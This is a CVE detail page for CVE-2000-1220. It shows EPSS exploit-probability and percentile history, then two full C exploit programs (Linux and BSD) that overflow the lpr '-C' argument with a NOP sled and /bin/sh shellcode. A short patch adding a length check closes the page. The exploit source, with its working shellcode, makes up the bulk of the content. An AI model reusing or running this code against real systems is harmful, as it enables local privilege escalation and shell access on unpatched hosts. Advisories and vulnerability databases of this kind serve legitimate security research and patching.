CVE-2000-1220 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	7.74%	–	–
2022-02-13	–	–	7.74%	–	–
2022-04-03	–	–	7.74%	–	–
2022-05-22	–	–	7.74%	–	–
2023-03-12	–	–	–	1.39%	–
2023-07-09	–	–	–	1.39%	–
2023-08-13	–	–	–	1.28%	–
2024-02-11	–	–	–	1.28%	–
2024-03-31	–	–	–	1.07%	–
2024-06-02	–	–	–	1.07%	–
2024-06-02	–	–	–	1.07%	–
2024-09-08	–	–	–	1.07%	–
2024-09-22	–	–	–	1.07%	–
2024-10-13	–	–	–	1.07%	–
2024-12-22	–	–	–	1.51%	–
2025-01-19	–	–	–	1.51%	–
2025-03-18	–	–	–	–	3.45%
2025-03-30	–	–	–	–	3.45%
2025-04-10	–	–	–	–	2.62%
2025-04-15	–	–	–	–	2.62%
2025-04-15	–	–	–	–	2.62,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	81%
2022-02-13	82%
2022-04-03	92%
2022-05-22	93%
2023-03-12	84%
2023-07-09	85%
2023-08-13	84%
2024-02-11	85%
2024-03-31	84%
2024-06-02	84%
2024-06-02	84%
2024-09-08	85%
2024-09-22	84%
2024-10-13	85%
2024-12-22	87%
2025-01-19	87%
2025-03-18	87%
2025-03-30	86%
2025-04-10	84%
2025-04-15	85%
2025-04-15	85%

-------------------------------------- linux_lpr_exploit.c ---------- #include #include #include #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 1023 long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; int i; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i<2;i++) *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/lpr", "lpr", "-C", buff, NULL); } ------------------------------------------- bsd_lpr_exploit.c ------ #include #include #include #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 1023 long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; int i; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i<2;i++) *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/lpr", "lpr", "-C", buff, NULL); } -------------------------------------------------------------------------- Here is a little patch -- see file lpr.c, function card(): ("!!" marks added lines) -------------------------------------------------------------------------- static void card(c, p2) register int c; register char *p2; { char buf[BUFSIZ]; register char *p1 = buf; register int len = 2; if (strlen(p2) > BUFSIZ-2) /* !! */ { /* !! */ printf("No, thanks...\n"); /* !! */ exit(1); /* !! */ } *p1++ = c; while ((c = *p2++) != '\0') { *p1++ = (c == '\n') ? ' ' : c; len++; } *p1++ = '\n'; write(tfd, buf, len); } // milw0rm.com [1996-10-25]